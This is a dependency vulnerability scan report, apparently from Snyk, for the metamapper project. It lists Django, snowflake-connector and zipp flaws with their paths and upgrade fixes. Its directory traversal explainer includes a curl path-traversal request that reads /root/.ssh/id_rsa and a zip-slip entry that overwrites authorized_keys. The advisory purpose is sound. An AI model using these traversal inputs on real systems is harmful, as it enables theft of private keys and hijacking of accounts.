  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to graphene-django@2.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.3.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-guardian@2.4.0 django@3.2.12
    Remediation: Upgrade to django-guardian@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-storages@1.12.3 django@3.2.12
    Remediation: Upgrade to django-storages@1.12.3.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper djangorestframework@3.13.1 django@3.2.12
    Remediation: Upgrade to djangorestframework@3.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.4.0.

Overview

Django is a high-level Python Web framework that encourages rapid development and clean, pragmatic design.

Affected versions of this package are vulnerable to SQL Injection via the FilteredRelation column aliases. When a malicious dictionary expansion is passed in as the **kwargs argument to QuerySet.annotate() or QuerySet.alias() on PostgreSQL, its contents can be used to execute SQL.

Remediation

Upgrade Django to version 4.2.27, 5.1.15, 5.2.9 or higher.

References

high severity

Arbitrary Command Injection

  • Vulnerable module: snowflake-connector-python
  • Introduced through: snowflake-connector-python@2.7.3

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3
    Remediation: Upgrade to snowflake-connector-python@3.0.2.

Overview

snowflake-connector-python is a Snowflake Connector for Python

Affected versions of this package are vulnerable to Arbitrary Command Injection via single sign-on (SSO) browser URL authentication. In order to exploit the potential for command injection, an attacker would need to be successful in (1) establishing a malicious resource and (2) redirecting users to utilize the resource. The attacker could set up a malicious, publicly accessible server which responds to the SSO URL with an attack payload. If the attacker then tricked a user into visiting the maliciously crafted connection URL, the user’s local machine would render the malicious payload, leading to a remote code execution.

Mitigation:

This attack scenario can be mitigated through URL whitelisting as well as common anti-phishing resources.

Remediation

Upgrade snowflake-connector-python to version 3.0.2 or higher.

References

high severity

Reflected File Download (RFD)

  • Vulnerable module: django
  • Introduced through: django@3.2.12, django-cors-headers@3.11.0 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django@3.2.12
    Remediation: Upgrade to django@3.2.15.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-cors-headers@3.11.0 django@3.2.12
    Remediation: Upgrade to django-cors-headers@3.11.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-dirtyfields@1.8.1 django@3.2.12
    Remediation: Upgrade to django-dirtyfields@1.8.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-filter@2.4.0 django@3.2.12
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to graphene-django@2.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.3.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-guardian@2.4.0 django@3.2.12
    Remediation: Upgrade to django-guardian@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-storages@1.12.3 django@3.2.12
    Remediation: Upgrade to django-storages@1.12.3.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper djangorestframework@3.13.1 django@3.2.12
    Remediation: Upgrade to djangorestframework@3.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.4.0.

Overview

Affected versions of this package are vulnerable to Reflected File Download (RFD) as it is possible to set the Content-Disposition header of a FileResponse when the filename is derived from user-supplied input.

Remediation

Upgrade django to version 3.2.15, 4.0.7, 4.1 or higher.

References

high severity

GPL-2.0 license

  • Module: mysql-connector-python
  • Introduced through: mysql-connector-python@8.0.28

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper mysql-connector-python@8.0.28

GPL-2.0 license

medium severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: django
  • Introduced through: django@3.2.12, django-cors-headers@3.11.0 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django@3.2.12
    Remediation: Upgrade to django@4.2.21.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-cors-headers@3.11.0 django@3.2.12
    Remediation: Upgrade to django-cors-headers@3.11.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-dirtyfields@1.8.1 django@3.2.12
    Remediation: Upgrade to django-dirtyfields@1.8.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-filter@2.4.0 django@3.2.12
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to graphene-django@2.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.3.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-guardian@2.4.0 django@3.2.12
    Remediation: Upgrade to django-guardian@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-storages@1.12.3 django@3.2.12
    Remediation: Upgrade to django-storages@1.12.3.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper djangorestframework@3.13.1 django@3.2.12
    Remediation: Upgrade to djangorestframework@3.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.4.0.

Overview

Django is a high-level Python Web framework that encourages rapid development and clean, pragmatic design.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the strip_tags() function. An attacker can cause slow performance by supplying large sequences of incomplete HTML tags.

Note: This also affects the striptags template filter which is built on top of strip_tags()

Remediation

Upgrade Django to version 4.2.21, 5.1.9, 5.2.1 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: django
  • Introduced through: django@3.2.12, django-cors-headers@3.11.0 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django@3.2.12
    Remediation: Upgrade to django@4.2.14.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-cors-headers@3.11.0 django@3.2.12
    Remediation: Upgrade to django-cors-headers@3.11.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-dirtyfields@1.8.1 django@3.2.12
    Remediation: Upgrade to django-dirtyfields@1.8.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-filter@2.4.0 django@3.2.12
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to graphene-django@2.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.3.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-guardian@2.4.0 django@3.2.12
    Remediation: Upgrade to django-guardian@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-storages@1.12.3 django@3.2.12
    Remediation: Upgrade to django-storages@1.12.3.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper djangorestframework@3.13.1 django@3.2.12
    Remediation: Upgrade to djangorestframework@3.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.4.0.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) in django.utils.translation.get_supported_language_variant() function due to improper user input validation. An attacker can exploit this vulnerability by using very long strings containing specific characters. Exploiting this vulnerability could lead to a system crash.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade django to version 4.2.14, 5.0.7 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: django
  • Introduced through: django@3.2.12, django-cors-headers@3.11.0 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django@3.2.12
    Remediation: Upgrade to django@4.2.14.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-cors-headers@3.11.0 django@3.2.12
    Remediation: Upgrade to django-cors-headers@3.11.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-dirtyfields@1.8.1 django@3.2.12
    Remediation: Upgrade to django-dirtyfields@1.8.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-filter@2.4.0 django@3.2.12
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to graphene-django@2.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.3.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-guardian@2.4.0 django@3.2.12
    Remediation: Upgrade to django-guardian@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-storages@1.12.3 django@3.2.12
    Remediation: Upgrade to django-storages@1.12.3.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper djangorestframework@3.13.1 django@3.2.12
    Remediation: Upgrade to djangorestframework@3.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.4.0.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) via the in django.utils.html.urlize() and django.utils.html.urlizetrunc() functions. If certain inputs with a very large number of brackets are provided, this could lead to a system crash.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade django to version 4.2.14, 5.0.7 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: django
  • Introduced through: django@3.2.12, django-cors-headers@3.11.0 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django@3.2.12
    Remediation: Upgrade to django@4.2.15.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-cors-headers@3.11.0 django@3.2.12
    Remediation: Upgrade to django-cors-headers@3.11.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-dirtyfields@1.8.1 django@3.2.12
    Remediation: Upgrade to django-dirtyfields@1.8.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-filter@2.4.0 django@3.2.12
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to graphene-django@2.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.3.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-guardian@2.4.0 django@3.2.12
    Remediation: Upgrade to django-guardian@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-storages@1.12.3 django@3.2.12
    Remediation: Upgrade to django-storages@1.12.3.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper djangorestframework@3.13.1 django@3.2.12
    Remediation: Upgrade to djangorestframework@3.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.4.0.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) via very large inputs with a specific sequence of characters in the urlize() and urlizetrunc() template filters.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade django to version 4.2.15, 5.0.8 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: django
  • Introduced through: django@3.2.12, django-cors-headers@3.11.0 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django@3.2.12
    Remediation: Upgrade to django@4.2.15.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-cors-headers@3.11.0 django@3.2.12
    Remediation: Upgrade to django-cors-headers@3.11.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-dirtyfields@1.8.1 django@3.2.12
    Remediation: Upgrade to django-dirtyfields@1.8.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-filter@2.4.0 django@3.2.12
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to graphene-django@2.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.3.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-guardian@2.4.0 django@3.2.12
    Remediation: Upgrade to django-guardian@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-storages@1.12.3 django@3.2.12
    Remediation: Upgrade to django-storages@1.12.3.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper djangorestframework@3.13.1 django@3.2.12
    Remediation: Upgrade to djangorestframework@3.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.4.0.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) via certain inputs with a very large number of Unicode characters in the urlize and urlizetrunc template filters, and the AdminURLFieldWidget widget.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade django to version 4.2.15, 5.0.8 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: django
  • Introduced through: django@3.2.12, django-cors-headers@3.11.0 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django@3.2.12
    Remediation: Upgrade to django@4.2.16.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-cors-headers@3.11.0 django@3.2.12
    Remediation: Upgrade to django-cors-headers@3.11.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-dirtyfields@1.8.1 django@3.2.12
    Remediation: Upgrade to django-dirtyfields@1.8.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-filter@2.4.0 django@3.2.12
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to graphene-django@2.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.3.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-guardian@2.4.0 django@3.2.12
    Remediation: Upgrade to django-guardian@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-storages@1.12.3 django@3.2.12
    Remediation: Upgrade to django-storages@1.12.3.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper djangorestframework@3.13.1 django@3.2.12
    Remediation: Upgrade to djangorestframework@3.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.4.0.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) due to not accounting for very large inputs involving intermediate ;s, in the django.utils.html.urlize() and django.utils.html.urlizetrunc() template filter functions.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade django to version 4.2.16, 5.0.9, 5.1.1 or higher.

References

medium severity

Directory Traversal

  • Vulnerable module: django
  • Introduced through: django@3.2.12, django-cors-headers@3.11.0 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django@3.2.12
    Remediation: Upgrade to django@4.2.14.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-cors-headers@3.11.0 django@3.2.12
    Remediation: Upgrade to django-cors-headers@3.11.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-dirtyfields@1.8.1 django@3.2.12
    Remediation: Upgrade to django-dirtyfields@1.8.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-filter@2.4.0 django@3.2.12
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to graphene-django@2.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.3.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-guardian@2.4.0 django@3.2.12
    Remediation: Upgrade to django-guardian@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-storages@1.12.3 django@3.2.12
    Remediation: Upgrade to django-storages@1.12.3.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper djangorestframework@3.13.1 django@3.2.12
    Remediation: Upgrade to djangorestframework@3.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.4.0.

Overview

Affected versions of this package are vulnerable to Directory Traversal via the derived classes of the django.core.files.storage.Storage base class which override generate_filename() without replicating the file path validations existing in the parent class. This allows potential access to out of scope data via certain inputs when calling save() method.

Note: Built-in Storage sub-classes were not affected by this vulnerability.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade django to version 4.2.14, 5.0.7 or higher.

References

medium severity

Improper Output Neutralization for Logs

  • Vulnerable module: django
  • Introduced through: django@3.2.12, django-cors-headers@3.11.0 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django@3.2.12
    Remediation: Upgrade to django@4.2.22.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-cors-headers@3.11.0 django@3.2.12
    Remediation: Upgrade to django-cors-headers@3.11.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-dirtyfields@1.8.1 django@3.2.12
    Remediation: Upgrade to django-dirtyfields@1.8.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-filter@2.4.0 django@3.2.12
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to graphene-django@2.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.3.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-guardian@2.4.0 django@3.2.12
    Remediation: Upgrade to django-guardian@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-storages@1.12.3 django@3.2.12
    Remediation: Upgrade to django-storages@1.12.3.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper djangorestframework@3.13.1 django@3.2.12
    Remediation: Upgrade to djangorestframework@3.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.4.0.

Overview

Django is a high-level Python Web framework that encourages rapid development and clean, pragmatic design.

Affected versions of this package are vulnerable to Improper Output Neutralization for Logs via the request.path function used by HTTP responses, which allows control characters to be written unescaped into logs. An attacker can manipulate log entries and potentially cause log injection or forgery by sending specially crafted URLs.

Remediation

Upgrade Django to version 4.2.22, 5.1.10, 5.2.2 or higher.

References

medium severity

SQL Injection

  • Vulnerable module: django
  • Introduced through: django@3.2.12, django-cors-headers@3.11.0 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django@3.2.12
    Remediation: Upgrade to django@4.2.26.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-cors-headers@3.11.0 django@3.2.12
    Remediation: Upgrade to django-cors-headers@3.11.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-dirtyfields@1.8.1 django@3.2.12
    Remediation: Upgrade to django-dirtyfields@1.8.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-filter@2.4.0 django@3.2.12
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to graphene-django@2.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.3.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-guardian@2.4.0 django@3.2.12
    Remediation: Upgrade to django-guardian@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-storages@1.12.3 django@3.2.12
    Remediation: Upgrade to django-storages@1.12.3.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper djangorestframework@3.13.1 django@3.2.12
    Remediation: Upgrade to djangorestframework@3.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.4.0.

Overview

Django is a high-level Python Web framework that encourages rapid development and clean, pragmatic design.

Affected versions of this package are vulnerable to SQL Injection via the _connector argument in the QuerySet.filter, QuerySet.exclude, QuerySet.get, and Q objects. A dictionary using dictionary expansion that is supplied as the _connector value can allow attackers to execute malicious SQL.

Remediation

Upgrade Django to version 4.2.26, 5.1.14, 5.2.8 or higher.

References

medium severity

Uncontrolled Resource Consumption ('Resource Exhaustion')

  • Vulnerable module: django
  • Introduced through: django@3.2.12, django-cors-headers@3.11.0 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django@3.2.12
    Remediation: Upgrade to django@4.2.15.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-cors-headers@3.11.0 django@3.2.12
    Remediation: Upgrade to django-cors-headers@3.11.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-dirtyfields@1.8.1 django@3.2.12
    Remediation: Upgrade to django-dirtyfields@1.8.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-filter@2.4.0 django@3.2.12
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to graphene-django@2.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.3.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-guardian@2.4.0 django@3.2.12
    Remediation: Upgrade to django-guardian@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-storages@1.12.3 django@3.2.12
    Remediation: Upgrade to django-storages@1.12.3.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper djangorestframework@3.13.1 django@3.2.12
    Remediation: Upgrade to djangorestframework@3.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.4.0.

Overview

Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') via the floatformat() template filter, when given a string representation of a number in scientific notation with a large exponent.

Remediation

Upgrade django to version 4.2.15, 5.0.8 or higher.

References

medium severity

Infinite loop

  • Vulnerable module: zipp
  • Introduced through: zipp@3.8.0, importlib-metadata@4.11.3 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper zipp@3.8.0
    Remediation: Upgrade to zipp@3.19.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper importlib-metadata@4.11.3 zipp@3.8.0
    Remediation: Upgrade to importlib-metadata@6.9.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper kombu@4.6.11 importlib-metadata@4.11.3 zipp@3.8.0
    Remediation: Upgrade to kombu@5.3.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper redis@4.2.2 importlib-metadata@4.11.3 zipp@3.8.0
    Remediation: Upgrade to redis@5.0.0.
